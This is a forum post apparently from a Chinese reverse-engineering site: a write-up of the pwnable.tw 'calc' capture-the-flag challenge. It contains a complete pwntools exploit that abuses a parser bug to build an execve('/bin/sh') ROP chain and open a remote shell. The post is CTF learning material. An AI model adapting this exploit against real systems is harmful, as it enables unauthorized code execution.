吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3810|回复: 8
收起左侧

[调试逆向] pwnable.tw - calc - ROP

  [复制链接]
dreamingctf 发表于 2022-7-21 15:04
先贴网上的学习链接吧,给了我挺大帮助的


https://www.cnblogs.com/Rookle/p/12884536.html
函数流程

https://blog.csdn.net/weixin_46521144/article/details/118543069
http://juniorprincewang.github.io/2017/10/01/pwnable-tw%E4%B9%8Bcalc/
writeup

https://cloud.tencent.com/developer/article/1043540
exp中栈构造

直接说重点在哪儿,main函数中调用了 calc 函数,calc 中调用了 parse_expr 函数,parse_expr 函数调用了 eval 函数

看到第18行的 initpool[ initpool[0] ],你会想到什么?
initpool[0] 如果可控,就是任意地址读

checksec 看一下
[Asm] 纯文本查看 复制代码
pwndbg> checksec
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

发现了 Canary 和 NX,PIE 是无的没有地址随机化,大概率又是 ROP 的题

漏洞原理看参考链接吧,主要是前导符号造成的问题,导致 initpool[0] 可控,造成可读可写
如何使用 ROP,链子构造如下
[Asm] 纯文本查看 复制代码
ROPgadget --binary calc | grep "pop eax"
0x0805c34b : pop eax ; ret

ROPgadget --binary calc | grep "pop ebx"
0x080701d1 : pop ecx ; pop ebx ; ret

ROPgadget --binary calc | grep "pop edx"
0x080701aa : pop edx ; ret


如何计算栈的偏移位置?
还是结合 calc 函数的栈帧来看,首先,initpool 是 [ebp-0x5A0],0x5A0/4 = 360
在 while 循环中,不断执行了 init_pool 函数对数组进行清空操作

就需要把 payload 布置到 calc 的返回地址上


exp给出
[Python] 纯文本查看 复制代码
from pwn import *

debug = 1
online = 1

#context(log_level = "debug", arch = 'amd64', os = "linux")
context(log_level = "debug", os = "linux")
#context(arch = 'amd64', os = "linux")

if online == 0:
    io = process("./calc")
else:
    io = remote("chall.pwnable.tw", 10100)

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

#Get Ret Addr
ru("\n")
sl("+361")
ret_addr = int(ru("\n"), 10)
print ("ret_addr = %x" % (ret_addr))

#Get Ebp Addr
sl("+360")
ebp_addr = int(ru("\n"), 10)
print ("ebp_addr = %x" % (ebp_addr))

#Payload
pop_eax_ret = 0x0805c34b
pop_ecx_pop_ebx_ret = 0x080701d1
pop_edx_ret = 0x080701aa
binsh_addr = ebp_addr + 4
binsh1 = 0x6e69622f #"nib/"
binsh2 = 0x0068732f #"\x00hs/"
int80 = 0x08049a21
payload = [pop_eax_ret, 0x0b, pop_edx_ret, 0x0, pop_ecx_pop_ebx_ret, 0, binsh_addr, int80, binsh1, binsh2]

for i in range(len(payload)):
    sl("+" + str(361 + i))
    num = int(rl())
    diff = payload[i] - num
    if (diff > 0):
        sl("+" + str(361 + i) + "+" + str(diff))
    else:
        sl("+" + str(361 + i) + str(diff))
    rl()

io.interactive()


查看 flag 的命令
[Asm] 纯文本查看 复制代码
find . -name flag

免费评分

参与人数 9吾爱币 +13 热心值 +8 收起 理由
byunLI + 1 我很赞同!
cz990604 + 1 + 1 热心回复!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
mushisshi + 1 + 1 我很赞同!
lqs300 + 1 + 1 我很赞同!
lgc81034 + 1 谢谢@Thanks!
2xinyu + 1 + 1 用心讨论,共获提升!
hxiang + 1 已经处理,感谢您对吾爱破解论坛的支持!
DFcourier + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

DFcourier 发表于 2022-7-21 20:41
顶一个!
glorymusic 发表于 2022-7-21 21:17
hxiang 发表于 2022-7-21 21:37
 楼主| dreamingctf 发表于 2022-7-22 10:28

一道CTF的pwn题
wcg147258369 发表于 2022-7-22 11:20
哇哇顶加一
fzb586 发表于 2022-7-22 16:29

没想到还可以这样玩,让我刚学会vue+vite看看,如何整的
LeoXiong 发表于 2022-7-23 09:15
学习了。。。
rdzzz 发表于 2022-7-23 15:49
感谢分享!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-4 01:35

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表